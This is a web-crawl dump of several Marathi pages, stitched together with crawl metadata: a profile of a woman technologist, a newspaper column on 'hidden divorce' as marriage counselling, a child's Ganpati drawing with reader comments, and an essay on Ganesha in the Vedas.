अध्यापन पद्दती, तसंच शिकवण्याच्या अन्य पद्धती यांचा समावेश आहे. युकॅलिप्टसच्या तंत्रविषय अभ्यासक्रमांबाबत काम करताना इथल्या तंत्रज्ञांचीही मदत होतेय. त्याचसोबत मी युकॅलिप्टसच्या एलएमएसच्या कामातही स्वतःला झोकून दिले आहे, ज्याची देखभाल आणि व्यवस्थापन मी पाहते आहे.”\nदीपा गेल्या दशकात विविध गोष्टींमध्ये व्यग्र असल्यानं तिला एका गोष्टीवर लक्ष केंद्रीत करणे शक्य होत नाहीये. ती म्हणते, “ मी कोणत्याही एका विशिष्ट तंत्रज्ञानाशी लग्न केलेलं नाही, पण मी नेहमी संगणकाशी खेळत असते. नवनविन तंत्रज्ञान स्वीकारण्याचा प्रयत्न करीत असते.”\nतुमची ओळख ही तुमची ताकद बनते.\nसर्वार्थानं विचार केला तर दीपा ही कशालाही न घाबरणारी मुलगी आहे आणि तिच्या य़शाचं हेच गमक असावं. ती जमशेदपूर इथं जन्माला आली आणि वाढली... पण शाळेच्या सुरूवातीच्या दिवसांत तीला दक्षिण भारतीय म्हणून समजलं जायचं. ती जेव्हा केरळला गेली तेव्हा तिला उत्तर भारतीय म्हणून समजलं जायचं आणि त्याच पद्धतीचं वातावरण तिच्या आजुबाजुला असायचं. तिच्यावर वडिलांचा खूप मोठा प्रभाव होता. त्यांनी मिळवलेलं यश हे तिच्यासाठी खूपच महत्त्वाचं होतं. टिस्को कंपनीत काम करणारे ते एक अत्यंत मेहनती कामगार होते. कनिष्ठ मध्यमवर्गीय असूनही त्यांनी त्यांच्या दोन्ही मुलांचं (दीपा आणि तिचा भाऊ) पालनपोषण खूप चांगल्या पद्धतीनं केलं होतं आणि त्यांच्यावर चांगले संस्कारही केले होते. तिच्यावर केलेले काही संस्कार तिच्या मनात आजही ताजे आहेत आणि तिनं ते जपून ठेवले आहेत.\nप्रामाणिकता – या गुणाचा मला फायदा झालाय आणि तोटाही. पण माझ्याकडे येणा-या प्रत्येकाला याची खात्री असते की मी त्यांना योग्यच सांगेन.\nस्पष्टवक्तेपणा – काळाच्या ओघात माझ्या हे लक्षात आलं की तुम्हाला मग्रुर न होताही चांगले वागता येऊ शकते.\nमेहनत – मी माझ्या वडिलांना खूप कष्ट घेताना पाहिलंय आणि त्यांचा माझ्यावर खूपच प्रभाव आहे.\nनाती जपणं – मी नात्यांच्या बाबतीत अत्यंत चोखंदळ आहे. माझे मित्र हे माझे भाट नाहीत. त्यामुळं मी एखादी गोष्ट चुकत असेल तर ते मला बिनदिक्कत सांगतात आणि दुरूस्त करतात.\nदीपाला अन्य कुणासारखं व्हायचं नाहीये, पण जे आर.डी. टाटा, तिचे वडील, जेफ बेझॉस आणि शेरिल सॅन्डबर्ग ही तिची प्रेरणास्थानं आहेत. ती म्हणते, \"लोक सद्वर्तनाबद्दल बोलत असतात. पण ते काय असते हे मी जमशेदपूरला असताना पाहिलंय. जे. आर. डी. टाटा यांनी त्यांच्या कंपनीत एक संस्कृती तयार केली होती. लोकांना त्यांच्या पदाचा आणि कामाचा सन्मान मिळत होता. त्यांनी झारखंड इथं अकादमी सुरू करून ऑलिम्पिकसाठी नेमबाजीच्या पथकाला सरावाची संधी दिली. एडब्ल्यूएस क्लाऊडच्या माध्यमातून जेफ बेझॉस यांनी उद्योग जगतातील लोकांसाठी परवडणारे पर्याय उपलब्ध केल्यामुळं मला त्यांच्याबद्दल खूप आदर आहे.\nदीपानं एक महिला म्हणून स्वतःला कधीच अबला समजलं नाही, त्याचं कारण म्हणजे तिच्या पालकांना तिच्याकडून असलेल्या अपेक्षा. तिनं नेहमी चांगलं काम करावं आणि मेहनत करावी, असं त्यांना वाटतं. अजूनही या क्षेत्रात फार कमी महिला आहेत, पण तरीही दीपाचं वेगळेपण काय आहे; तर ते असं आहे...\nतिच्या आवडीच्या अनेक प्रशिक्षण शिबिरांना ती हजेरी लावते.\nप्रत्येक संधीचं सोनं करते.\nतिच्या कामाआड कधीही घरच्यांची अथवा परंपरेची कारणं येऊ देत नाही.\nपरिषदा आणि बैठकांसाठी खूप प्रवास आणि मेहनत करून ती उपस्थित राहते.\nदीपाला प्रत्येक गोष्ट परिपुर्ण करण्याची सवय आहे, पण लग्नानंतर ते कठिण होतंय. ती म्हणते, “ आता मी चांगलं जेवण बनवू शकले नाही, तरी मला त्याचं फारसं वाईट वाटत नाही. याआधी मला मी जे काही करीन ते चांगलंच असलं पाहिजे असं वाटायचं. पण आता मी मला हवं तेच आणि मला आवडेल तेच करते.\"\nजेव्हा दीपा कथा वाचत असते तेव्हा तिचं साहित्यावरचं प्रेम उफाळून येतं. अन्यथा ती तिचा मोकळा वेळ हा स्वयंपाकात (मांसाहारात ती शाकाहारी असली तरी), तंदुरूस्त राहण्यात आणि चित्रकलेत व्यतीत करते. तिला शेरील सॅन्डबर्ग यांचं लिन इन हे पुस्तक वाचायला खूप आवडतं आणि तरूणांनीही ते वाचावं असं तिचं मत आहे. ती म्हणते \" हे पुस्तक महिला स्वतःला कंसं मागं खेचतात हे सांगते. महिलांनी केवळ कामामध्येच नव्हे तर नवनविन क्षेत्र पादाक्रांत करावीत, नविन कौशल्य आत्मसात करावीत. तंत्रज्ञान शिकून घ्यावं, यामुळंच त्यांचा विकास होऊ शकतो.”\nपाककला, चित्रकला, हस्तकला अवगत असणाऱ्या घरगुती कलावंत महिलांसाठी काहीतरी करण्याची दीपाची इच्छा आहे. वयाच्या ४० च्या, ५० च्या आणि साठीतील महिलांकडे याबाबतचा खूप अनुभव असतो, पण त्याचं व्यावसायिकरण त्यांना करता येत नाही. अशा महिलांना त्यांचं कसब दाखवण्यासाठी, ग्राहकांशी जोडण्यासाठी एक व्यासपीठ देण्याची तिची इच्छा आहे. वानगीदाखल म्हणायचे तर तीनं तिच्या मैत्रीणीच्या आईच्या चित्रांसाठी एक वेबसाईट तयार केलीय. ती म्हणते, “ यासाठी कोणाकडून काही शुल्क घेण्याची आपली इच्छा नाही. जास्तीत जास्त महिलांच्या कल्पनांना वाव मिळायला पाहिजे, हीच माझी महत्त्वाकांक्षा असल्याचं ती सांगते.”\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nसात्विक भावनेतून समूह उद्योगाच्या क्षेत्रात यशस्वी वाटचाल करणारे ‘सोमेश्र्वर’ कंपनीचे महेंद्र साखरे\nटॉकबिज'च्या रूपाने व्हाट्सऍपला पर्याय, पुण्यातील तरुणाची तंत्रज्ञानात गरुडझेप \nनृत्य संस्कृतीला सातासमुद्रापार पोहोचविण्यात हेमा मालिनी यांचे मोलाचे योगदान- मुख्यमंत्री\nकहानीवाली नानींना भेटा,ज्यांनी दहा हजार मुलांना गोष्टी सांगितल्या आहेत\nभारतीय-अमेरिकन वकील ज्या ट्रम्प यांचे नियामक कामकाज कार्यालय चालवितात\nअजय चतुर्वेदी : कथा देशाचं आश्वासक मूल्य ठरलेल्या एका सिटीबॅंकरची\n\"त्या\"ची कथा \"ति\"ची कथा आणि \"त्यां'च्या कथा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00285.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.loksatta.com/lagnacha-arth-news/article-on-divorce-hidden-aspect-of-divorce-1622257/", "date_download": "2018-09-25T17:40:05Z", "digest": "sha1:B6VXFDZK3GI7URYFGIWE3M7SLEVWGMK3", "length": 24343, "nlines": 219, "source_domain": "www.loksatta.com", "title": "article on divorce Hidden Aspect of divorce | छुपा घटस्फोट | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nकाय आहे हा छुपा घटस्फोट\nनवरा बायकोत पटत नसेल तर छुपा घटस्फोट घेऊन बऱ्याच वेळा फायदा होतो असं आतापर्यंत आढळलेलं आहे. कायदेशीर घटस्फोट हे प्रकरण सोपं नाही. मुलांचे तर हालच होतात. घटस्फोटाला आर्थिक, भावनिक, सांस्कृतिक, सामाजिक कितीतरी पैलू असतात. काय आहे हा छुपा घटस्फोट\nमागच्या लेखात (१३ जानेवारी) आपण सध्याच्या कुटुंबांची परिस्थिती बघितली. विवाहितांना वाटतं त्यातून सुटका म्हणजे घटस्फोट. पण खरा मार्ग स्वत: विचार करून किंवा कोणाची तरी मदत घेऊन सुधारणा करणं हा आहे. प्रत्यक्षात बरीच जोडपी नुसती सोसत आयुष्य काढतात. तो खरा काळजीचा विषय आहे.\nएकमेकांशी जुळत नाही असं अगदी नक्की वाटत असेल आणि घटस्फोटाशिवाय पर्याय नाही असं वाटत असलं तरी १० वेळा त्यावर विचार करावा. घटस्फोटानंतरसुद्धा आयुष्य सोपं नाही. घटस्फोटाच्या कायदेशीर प्रक्रियेचा काळ त्रासदायक असतोच. आणि तुम्हाला जर मूल असलं तर घटस्फोटाचा २० वेळा विचार करावा, कारण मुलाचे खूप हाल होतात. खूप मालमत्ता असेल तर ३० वेळा विचार करावा. मालमत्ता नवऱ्याच्या एकटय़ाच्या नावाने असो किंवा बायकोच्या एकटीच्या नावाने असो; जोडीदाराचा त्या मालमत्तेवर कायदेशीर हक्क असतोच. या सगळ्यामध्ये वय चाळीसच्या पुढे गेलं तर घटस्फोटापूर्वी ५० वेळा विचार करावा. मुख्य म्हणजे समुपदेशकाकडे जावं. प्रत्येकाला शेवटची एक संधी मिळायलाच हवी. तरीही नाही जमलं तर काडीमोड आहेच.\nगेल्या काही वर्षांत कायद्यात बदल झाले. निराळं ‘फॅमिली कोर्ट’ वा ‘कुटुंब न्यायालय’ एकेकाळी नव्हतं ते सुरू झालं. ‘नॉन कॉम्पॅटिबिलिटी’ या कारणांनी घटस्फोटाला मान्यता मिळायला लागली. घटस्फोटितांनी असं समजायचं काही कारण नाही की हा शेवट आहे. ही तर नव्या कहाणीची सुरुवात असते. आधीच्या प्रेमभंगाचा जसा फायदा असतो तसा विवाहभंगाचाही फायदा घ्यावा.\nज्याअर्थी एवढी शेकडो, हजारो वर्षे विवाह संस्था टिकून आहे, त्याअर्थी त्यात काही तरी तथ्य असलं पाहिजे. त्या मुख्य कारणासाठी आपण सगळे मिळून तिचा अभ्यास करू या. संस्काराबद्दलचे नियम, समाजनियम अलिखित आहेत. काही नुसते रीतिरिवाज आहेत, पण जास्तीत जास्त प्रमाणात स्त्री-पुरुष संबंधांबद्दल आहेत.\nलग्न करताना घटस्फोट घेणाऱ्यांमध्ये काही तरी अडचण असणार या गृहीतामुळे लोकांना पुनर्विवाहासाठी विधवा, विधूर चालतात. शिवाय मुख्य भीती अशीही असते की, घटस्फोटिताचा जोडीदार जिवंत असतो. त्यामुळे पुन्हा भेटू शकतो. ती गुंतागुंत नको अशी इच्छा असते. ज्यांना आधीच्या लग्नातलं अपत्य आहे, त्यांचे तर खूप प्रश्न असतात. मात्र या प्रकारची लग्नं जुळली तर टिकताना दिसतात. कारण दोघं समदु:खी असतात. जोडीदाराचा शोध घेतानाच्या अडचणींच्या यादीत एक मोठं पिशाच्च आपल्या समाजाच्या मानगुटीवर बसलेलं दिसतं. ते म्हणजे प्रथम वर, प्रथम वधू ही कल्पना. एखाद्या मुलाचा किंवा मुलीचा घटस्फोट झाला असला तर लोक विचार करतात, की त्या व्यक्तीमध्येच काही तरी दोष असेल. या कल्पनेमुळे प्रथम वर किंवा प्रथम वधू त्या व्यक्तीचा विचारसुद्धा करत नाहीत.\nनातं टिकवण्यासाठी काही उपाय नक्की करता येतात. माझ्या समुपदेशनाच्या कामात आतापर्यंत कित्येक भांडणाऱ्या जोडप्यांना मी छुपा घटस्फोट कसा घ्यायचा याच्या पायऱ्या सुचवल्या आहेत. त्या ओळीनं सांगतो.\n१) ठरलेल्या दिवसापासून एकमेकांशी कुठल्याही विषयावर चर्चा करणं बंद करायचं. इतरांना जाणवेल असा अबोला धरायचा नाही, पण प्रत्यक्ष मतभेदाच्या विषयाविषयी अजिबात बोलायचं नाही. रोजच्या दिनचर्येत काही बदल करायचा नाही. मुलं असली तर मुलांना ही गोष्ट कळताही कामा नये. मुलं असली तरी घटस्फोटाच्या कल्पनेला नैतिक दृष्टींनी नकारच आहे. एरवीसुद्धा मुलांच्या देखत भांडायचं नाही हे पथ्य पाळायचं आहे. त्यामुळे भांडणांवर आपोआप मर्यादा येते.\n२) रोज जमेल तेव्हा मतभेदांच्या विषयाबद्दल विचार करायचा, माहिती काढायची. स्वत:ची टिपणं रोज लिहून ठेवायची. लोक लिहित नाहीत कारण लिहिता लिहिता विचार स्पष्ट होत जातात याची त्यांना कल्पना नसते.\n३) घरातली माणसं किती, घर केवढं याप्रमाणे निराळ्या खोल्यांत झोपायचं किंवा एकाच खोलीत पण निराळ्या ठिकाणी झोपायचं. लैंगिक संबंधांना शक्यतोवर सुट्टी द्यायची. नवरा-बायकोच्यामध्ये मूल झोपत असलं तर त्या व्यवस्थेत बदल करायचा नाही, पण शारीरिक संबंधांसाठी अडवणूक करण्याचा विचार डोक्यात आणायचा नाही.\n४) या पद्धतीने साधारणपणे आठवडा काढला की एकमेकांना मुद्देसूद पत्र लिहायचं. त्यामध्ये जोडीदाराचे चांगले गुण जाणीवपूर्वक आठवून आवर्जून लिहायचे. शिवाय स्वत:ला कशाचं वाईट वाटलं ते लिहायचं. ते एकमेकांना द्यायचं.\n५) इथपर्यंतच्या मार्गानी काही परिणाम होत नसला तर आणखी ८ दिवस निराळ्या घरी, बाहेरगावी तोच प्रयत्न पुन्हा करायचा. या ८ दिवसांत आणि आधीच्या ८ दिवसांत मुख्य फरक करायचा तो म्हणजे खाणं कमी कमी करायचं. पोट रिकामं असलं की माणूस अंतर्मुख होण्याची बऱ्याच प्रमाणात शक्यता असते. असा उपास शक्य नसला तर समुपदेशकाशी बोलून निराळा मार्ग काढावा लागणार हे निश्चित आहे.\n६) यानंतरही काही परिणाम होत नाही असं आढळलं तर समुपदेशकाकडे जायचं आणि सगळी पत्रं दाखवायची. समुपदेशकाला न दाखवण्याइतकं खासगी असं काहीही असूच शकत नाही.\nया पद्धतीनं छुपा घटस्फोट घेऊन बऱ्याच वेळा फायदा होतो असं आतापर्यंत आढळलेलं आहे. कायदेशीर घटस्फोट हे प्रकरण सोपं नाही. मुलांचे तर हालच होतात. घटस्फोटाला आर्थिक, भावनिक, सांस्कृतिक, सामाजिक कितीतरी पैलू असतात. त्याखेरीज पुन्हा दुसरं लग्न केलं तर चांगला जोडीदार मिळेल याची काय खात्री\nबहुतेक वेळा विभक्त कुटुंबात एक वर्ष संसार केल्यावर नवरा-बायकोला मूल्यं आणि तपशील यामधला फरक कळलेला असतो. एकत्र कुटुंबात कित्येक वेळेला एकमेकांच्या मूल्यांमध्ये फरक असल्यामुळे खटके उडतात, हे कळायलाच काही वर्षे जातात. मी वैचारिक दृष्टींनी विभक्त कुटुंबाच्या बाजूचा आहे. त्याचं हे एक महत्त्वाचं कारण आहे. ज्या जोडप्याला एकमेकांशी आपलं जुळत नाही हे मुलं होण्याच्या आत वेळेवर कळलं ते नशीबवानच म्हणायचे आणि अर्थात ती मुलं देखील. लग्नाला काही वर्षे झाल्यावर किंवा मुलं झाल्यावर ज्या जोडप्याला खूप उशिरा जाग येते आणि घटस्फोट घ्यायची वेळ येते त्यांचं मला वाईट वाटतं. आपल्या समाजात पुन्हा लग्न होईपर्यंत घटस्फोटित मुलगी माहेरी राहायला येण्याचा रिवाज दिसतो. मुलगा मात्र स्वतंत्र राहण्याचं प्रमाण खूप आहे.\nघटस्फोट या विषयावर मुळात मला काय वाटतं ते सांगतो. सगळा विचार, अभ्यास, चर्चा यानंतर मुलं झालेली असोत किंवा नसोत, मुलं छोटी असोत किंवा मोठी असोत, नवरा-बायकोंनी एकमेकांशी जमत नाही असा पक्का निर्णाय घेतला असेल तर उगाच एकमेकांना छळत संसार करण्यात काही अर्थ नाही. त्या त्रासदायक नात्यातून स्वत:ची सुटका हे सर्वात महत्त्वाचं मानावं. पोटगीचे दावे, एकमेकांचा सूड या कशाच्याही भानगडीत पडू नये. अशा प्रसंगी मालमत्तेचा, दागिन्यांचा मोह या सगळ्या गोष्टी कमी महत्त्वाच्या समजाव्यात. वकिलांना अशा वेळेला उगाचच्या उगाच खरी नसलेली कारणं कागदपत्रांमध्ये आणू देऊ नयेत. पुनर्विवाह करताना एक गोष्ट मात्र महत्त्वाची आहे; नवीन जोडीदाराला आधीच्या घटस्फोटाचं खरं कारण सविस्तर सांगायला हवं. फॅमिली कोर्टाच्या निकालाची प्रत सरळसरळ वाचायला द्यावी. त्यात न लिहिलेल्या गोष्टीही सांगाव्यात.\nकौटुंबिक विसंवाद या विषयाबद्दल मी एवढय़ा पोटतिडकीने उपाय शोधतोय, सांगतोय, पण या सगळ्याला खूप वेळ लागणार याची मला कल्पना आहे.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00285.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.maayboli.com/node/19784", "date_download": "2018-09-25T17:43:56Z", "digest": "sha1:2LRNOUOOXOBRXJZKQM3QUBP4LB5DREQZ", "length": 10898, "nlines": 203, "source_domain": "www.maayboli.com", "title": "किलबिल : गणपती बाप्पा - ऋचा | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /किलबिल : गणपती बाप्पा - ऋचा\nकिलबिल : गणपती बाप्पा - ऋचा\nनाव : ऋचा दामले\nवय : ४ १/२ वर्ष\nचित्राचे माध्यम : पेन्सिल, क्रेयॉन्स\nआमची मदत : चित्र शोधायला मदत करणे आणि इतर पालकांप्रमाणेच सतत भुणभुण\nऋचा छान आहे गणपती बाप्पा आणि\nऋचा छान आहे गणपती बाप्पा आणि तुला नाव देखील छान लिहिता येतय\nमस्त काढलाय बाप्पा ऋचाने.\nमस्त काढलाय बाप्पा ऋचाने. राखी, गणपतीच्या डाव्या बाजूला मोदक लपवले होते कां नाही गणपतीची नजर तिथेच दिसतेय.\nगोड दिसतायत बाप्पा एकदम छोट्टुशा मुलासारखे.\nकित्ती गोड आहे बाप्पा.\nकित्ती गोड आहे बाप्पा.\nखरंच काय गोड आहे\nखरंच काय गोड आहे मोदक, उंदीरमामा कुठे गेले बरं मोदक, उंदीरमामा कुठे गेले बरं शोधतायेत वाट्टं बाप्पा, हो ना ऋचा\nमस्तच की आणि आरासपण केली आहे.\nमस्तच की आणि आरासपण केली आहे. व्वा\nमस्त आलेत बाप्पा रुचा. Very\nमस्त आलेत बाप्पा रुचा. Very Nice\nछान काढलाय बाप्पा. झिरमिळ्या\nछान काढलाय बाप्पा. झिरमिळ्या पण मस्तच.\nरुची, तुझा बाप्पा आणि आरास\nरुची, तुझा बाप्पा आणि आरास दोन्ही मस्त\nमस्तच ग ऋचा. छानच काढलय\nमस्तच ग ऋचा. छानच काढलय चित्र.\nकसला क्युट बाप्पा आहे, अगदी\nकसला क्युट बाप्पा आहे, अगदी ऋचासारखाच\nऋचा मस्तच आहे ग बाप्पा.\nऋचा मस्तच आहे ग बाप्पा.\nमोदक आणि उंदिर काढ म्हणले होते तर हेच म्हणाली की, \"मोदक बाप्पानी खाऊन टाकले आणि उंदिर पळून गेला. मी पुढच्या वेळी काढिन\"\nतेच शोधतोय बाप्पा असं दिसतय पण\nकित्ती गोड आहे बाप्पा\nकित्ती गोड आहे बाप्पा\nमला खूप आवडलं चित्र\nमला तर यात तुकाराम महाराजांचा\nमला तर यात तुकाराम महाराजांचा भास होतोय. (दोन्ही हातात चिपळ्या घेऊन, भजनात दंग झालेले \nमाझे मोदक कुणी पळवले बर\nमाझे मोदक कुणी पळवले बर असा विचर्तोय का बाप्पा\nकित्ती क्युट चित्र Good Job\nऋचा, तुझे गणपतीबाप्पा फार फार\nऋचा, तुझे गणपतीबाप्पा फार फार आवडले. मला पण वाटतंय, ते मोदक घेऊन पळालेल्या उंदिरमामाला शोधताहेत.\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00285.warc.wet.gz", "language": "mr", "language_score": 0.79, "bucket": "all"} {"url": "https://www.maayboli.com/node/3343", "date_download": "2018-09-25T17:07:06Z", "digest": "sha1:5JNJLJEDDS7XB5D3OKPU2H23VRBOYJ7I", "length": 33252, "nlines": 265, "source_domain": "www.maayboli.com", "title": "वेदांतील गणेशाचे स्थान | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /वेदांतील गणेशाचे स्थान\nप्रचलित हिंदू धर्मामध्ये ज्या पाच दैवतांची पूजा प्रामुख्याने रुढ आणि लोकप्रिय झाली, त्यातील एक दैवत म्हणजे श्री गणेश. जनमानसांत गणपतीचे श्रद्धास्थान अढळ आहे. प्राचीन काळात वेदांमधेही गणपतीची स्तुती करणारे, स्तवनपर मंत्र रचलेले आढळतात.\nऋग्वेदामध्ये गणपतीला बृहस्पती, वाचस्पती आणि ब्रह्मणस्पती या नावाने संबोधलेले आहे. ब्रह्मणस्पतीस ऋग्वेदात महत्वपूर्ण स्थान असून, त्याला सर्व मांगल्याचे परम निधान, सर्व ज्ञानाचा निधी, सर्वश्रेष्ठ देव आणि सर्व वाड्गमयाचा अधिष्ठाता आणि स्वामी मानलेले आहे. अकरा सूक्तांमधे ब्रह्मणस्पतीची स्तुती रचलेली असून, त्याची कृपादृष्टी आपल्यावर रहावी म्हणून मंत्र रचलेले आहेत.\nब्रह्मणस्पतये त्वमस्य यन्ता सूक्तस्य तनयं च जिन्व l\nविश्वं तद्भद्रं यदवन्ति देवा बृहद् वदेम विदथे सुवीरा: ll\nअर्थात, हे मंत्र सूक्तांच्या अधिपती, तूच या जगाचा पालक, शास्ता आहेस, मी/ आम्ही रचलेले हे (तुझ्या स्तुतीपर) सूक्त जाणून घे (मान्य कर) आणि माझ्या/ आमच्या संततीला प्रसन्नता प्रदान कर. तुझ्यासारखे देव ज्यांचे रक्षण करतात, त्यां सर्वांचे सतत भलेच होते. आम्ही या जीवनात (जीवन यज्ञात ) सुंदर, सुदृढ पुत्र पौत्रांसहीत तुझी स्तुती, गुणगान करतो.\nअश्या ह्या ब्रह्मणस्पतीची कृपादृष्टी विद्या मिळवून देते आणि विघ्नांचा नाश करते, हे सांगताना ऋषी म्हणतात,\nन तमंहो न दुरितं कुतश्चन नारातयस्तितिरुर्न द्वयाविनः l\nविश्वा इदमस्माद् ध्वरसो वि बाधसे यं सुगोपा रक्षसि ब्रह्मणस्पते ll\nअर्थात, हे ब्रह्मणस्पते, तू ज्यांचं रक्षण करतोस, त्यांना कोणत्याही प्रकारचे दु:ख किंवा त्रास अथवा पीडा होत नाही. शत्रू त्यांची कुठेही हिंसा करु शकत नाही, (एवढेच नाही तर), त्यांच्या कार्यांमधे कोणत्याही प्रकारचे विघ्न त्यांना बाधू शकत नाही. सर्व त्रासांपासून, हे ब्रह्मणस्पते, तू आपल्या भक्तजनांचे सदैव रक्षण करतोस.\nतद्देवानां देवतमाय कर्त्वमष्नथ्नन् इळहासव्रदन्त वीळिता l\nउद् गा आजदभिनद् ब्रह्मणा वलमगूहत्तमो व्यचक्षयत्सवः ll\nसर्व देवांमधे श्रेष्ठ असा जो देव ब्रह्मणस्पती, कठीण असे पर्वत आपल्या बलाने विदीर्ण करु शकतो आणि जे काही कठोर आहे त्याला कोमल बनवू शकतो. ज्ञानरुपी प्रकाशाचं वरदान देऊन आणि आपल्या वाग् रुपिणी शक्तीच्या सहायाने अमंगल आसुरी शक्तींचा/ प्रवृत्तींचा नाश करुन, अज्ञानरुपी अंधकार दूर करतो.\nऋग्वेदात गणपतीला आदिदेव मानले आहे - सर्वप्रथम उत्पन्न झालेला आणि अक्षरसमूहांचा पालक, स्वामी. गणपतीची उत्पत्ती कशी झाली ह्याचे वर्णन पहा,\nबृहस्पति: प्रथमं जायमानो महो ज्योतिषः परमे व्योमन् l\nसप्तास्यस्तुविजातो रवेण वि सप्तरश्मिरधमत्तमांसि ll\n(सर्व संसाराचा स्वामी) बृहस्पती, परम व्योमरुप शक्तीच्या महान तेजापासून* सर्वप्रथम उत्पन्न होऊन सात स्वररुपी मुख/मुद्रा धारण करुन, आणि सप्तरश्मी वा सात वर्णांची विविध रुपं ( अ, क, च, ट, त, प, य) धारण करुन नादरुपाने अज्ञानरुपी अंधार दूर करतो.\n*गणेशपुराणात गणपतीला गौरीतेजोभू: म्हटले आहे. ऋग्वेदात वर्णन केलेली व्योमरुप शक्ती म्हणजेच भगवान शिवाची शक्ती- चित् शक्ती वा चित्कला.\nॠग्वेदात, अमंगल, अलक्ष्मीचा नाश करण्यासाठी आणि यज्ञाचे रक्षण करण्यासाठी गणपतीला आवाहन केलेलेही आढळते.\nचत्तो इतश्चत्तामुतः सर्वा भ्रूणान्यारुषी l\nअराय्यं ब्रह्मणस्पते ती़क्ष्णशृंड्गोदृषन्निहि ll\nअर्थात, ही अलक्ष्मी ह्या लोकातून (पृथ्वी) तसेच त्या लोकातूनही (स्वर्ग) नष्ट होवो, जी समस्त अंकुरांना (भ्रूण), औषधींना नष्ट करते. हे तीक्ष्णदंत ब्रह्मणस्पते, तू ह्या अलक्ष्मीचा नाश कर.\nगणानां त्वा गणपतिं हवामहे कविं कवीनामुपमश्रवस्तमम् l\nज्येष्ठराजं ब्रह्मणां ब्रह्मणस्पत आ नः श्रृण्वन्नूतिभि: सीद सादनम् ll\n तू देवाधिदेव - गणपती असून कवींमधे / विद्वानांमधे सर्वश्रेष्ठ असा कवी आणि विद्वान आहेस. तूच ब्रह्म अर्थात अन्न, आणि उत्तम कर्मांचा रक्षणकर्ता आहेस. हे ज्येष्ठराज*, आणि मंत्रसमूहाचा (असा तू जो ) स्वामी, मी तुझे आवाहन करत आहे. आम्ही केलेली स्तुती ऐकून (मान्य करुन), आमच्या ऱक्षणार्थ, आम्ही करत असलेल्या यज्ञात उपस्थित रहा.\n*सर्वात आधे उत्पन्न झालेला, सर्वांपे़क्षा ज्येष्ठ, देवतांचा राजा ह्या अर्थाने.\nशुक्ल यजुर्वेदामध्ये गणपती हा रुद्राच्या गणांचा अधिपती आहे (रुद्रस्य गाणपत्यम्) हे सांगणारा संदर्भ आहे. वैदिक वाड्गमयांत गण हा शब्द लोक, देव आणि मंत्रसमूहाला उद्देशून वापरलेला दिसतो. त्यांचा अधिपती तो गणपती.\nगणानां पति: गणपति: l\nमहत्तत्त्वगणानां पति: गणपति: l किंवा\nनिर्गुणसगुणब्रह्मगणानां पति: गणपति: l\nगणेश याही शब्दाचा अर्थ आहे - जो समस्त जीवांचा ईश अथवा स्वामी आहे.\nगणानां जीवजातानां यः ईशः -स्वामी स गणेशः l\nशुक्ल यजुर्वेदामध्ये गणपतीची वेगवेगळ्या नावांनी स्तुती केलेली आढळते. उदाहरणासाठी हे मंत्र पहा :\nनमो गणेभ्यो गणपतिभ्यश्च वो नमो नमो व्रातेभ्यो व्रातपतिभ्यश्च वो नमो नमो गृत्सेभ्यो गृत्सपतिभ्यश्च वो नमो नमो विरुपेभ्यो विश्वरुपेभ्यश्च वो नमः ll\nशुक्ल यजुर्वेद माध्यंदिन संहितेतला\nगणानां त्वा गणपति हवामहे प्रियाणां त्वा प्रियपति हवामहे, निधिनां त्वा निधिपती हवामहे l वसो मम ll आहमजानि गर्भधमा त्वमजासि गर्भधम् ll\nहा एक 